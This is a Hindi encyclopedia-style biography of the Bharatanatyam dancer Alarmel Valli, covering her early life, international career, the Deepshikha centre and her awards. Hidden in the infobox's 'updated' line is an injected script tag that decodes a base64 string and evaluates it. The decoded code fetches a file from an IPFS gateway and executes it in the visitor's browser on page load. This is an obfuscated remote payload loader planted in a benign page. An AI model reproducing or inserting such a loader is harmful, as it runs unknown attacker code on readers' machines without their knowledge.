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12:10, 19 अप्रैल 2024 के समय का अवतरण
अलार्मेल वल्ली
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पूरा नाम | अलार्मेल वल्ली |
जन्म | 14 सितम्बर, 1957 |
जन्म भूमि | चेन्नई, तमिलनाडु |
पति/पत्नी | भास्कर घोष |
कर्म भूमि | भारत |
कर्म-क्षेत्र | भारतीय शास्त्रीय नर्तक कोरियोग्राफर |
पुरस्कार-उपाधि | पद्म भूषण (2004) |
प्रसिद्धि | भरतनाट्यम नृत्यांगना |
नागरिकता | भारतीय |
अन्य जानकारी | शास्त्रीय तमिल साहित्य और 2000 साल पुरानी संगम कविता के संकलन में अलार्मेल वल्ली के शोध के परिणामस्वरूप नृत्य कविताओं का एक महत्वपूर्ण भंडार सामने आया है। |
अद्यतन | 17:40, 19 अप्रैल 2024 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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प्रारंभिक जीवन
अलार्मेल वल्ली का जन्म 14 सितंबर, वर्ष 1957 को हुआ था। उन्होंने अपनी औपचारिक शिक्षा चर्च पार्क, चेन्नई में सेक्रेड हार्ट मैट्रिकुलेशन स्कूल से पूरी की और बाद में स्टेला मैरिस कॉलेज, चेन्नई में अध्ययन किया। बचपन से ही अलार्मेल वल्ली को नृत्य में रुचि हो गई थी। उन्होंने प्रसिद्ध गुरु श्री चोकालिंगम पिल्लई और उनके बेटे श्री सुब्बाराय पिल्लई से नृत्य में औपचारिक प्रशिक्षण प्राप्त किया।
आजीविका
16 साल की छोटी उम्र में अलार्मेल वल्ली को पेरिस में सारा बर्नार्ड थिएटर डे ला विले के अंतर्राष्ट्रीय नृत्य महोत्सव में प्रदर्शन के लिए आमंत्रित किया गया था। यह उन कई अन्य लोगों की शुरुआत थी जो आने की प्रतीक्षा कर रहे थे, क्योंकि यहीं से भारत के अंतरराष्ट्रीय स्तर पर मान्यता प्राप्त नर्तकियों में से एक के रूप में अलार्मेल वल्ली की यात्रा शुरू हुई। वह तब से नियमित रूप से दौरा कर रही है, और दुनिया भर के प्रमुख थिएटरों में अपने नृत्य प्रदर्शन के लिए प्रशंसा प्राप्त की है।
दीपशिखा
अलार्मेल वल्ली व्याख्यान प्रदर्शनों, कक्षाओं, कार्यशालाओं और सेमिनारों में भी शामिल हैं। वह भरतनाट्यम के बारे में अंतरराष्ट्रीय जागरूकता पैदा करने के लिए जिम्मेदार हैं। अलार्मेल वल्ली ने वर्ष 1984 में प्रदर्शन कला केंद्र 'दीपशिखा' की स्थापना की। इस केंद्र की स्थापना होनहार नए कलाकारों को प्रशिक्षण देने के उद्देश्य से की गई थी। पिछले कुछ वर्षों में अलार्मेल वल्ली की सबसे बड़ी उपलब्धि नृत्य की अपनी अनूठी शैली का विकास रही है। उन्होंने भरतनाट्यम की पांडनल्लूर शैली के भारतीय शास्त्रीय नृत्य में विशेषज्ञता हासिल की है। अपनी कोरियोग्राफी के माध्यम से, वल्ली कविता और गीतों में अर्थ की आंतरिक परतों को समझती है, जिससे उन्हें एक दृश्य और मधुर मीटर मिलता है।
पुरस्कार एवं सम्मान
- तमिलनाडु सरकार द्वारा 'कलईमामणि' की उपाधि से सम्मानित (1979)
- तमिलनाडु के 'राज्य कलाकार' की उपाधि से सम्मानित (1981 और 1984)
- नृत्य चूड़ामणि पुरस्कार (1985)
- पद्म श्री (1991)
- ग्रांडे मेडेल डे ला विले डे पेरिस पुरस्कार (1997)
- संगीत नाटक अकादमी पुरस्कार (2001)
- पद्म भूषण (2004)
- फ़्रांसीसी सरकार की ओर से शेवेलियर ऑफ़ आर्ट्स एंड लेटर्स पुरस्कार (2004)
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टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
संबंधित लेख
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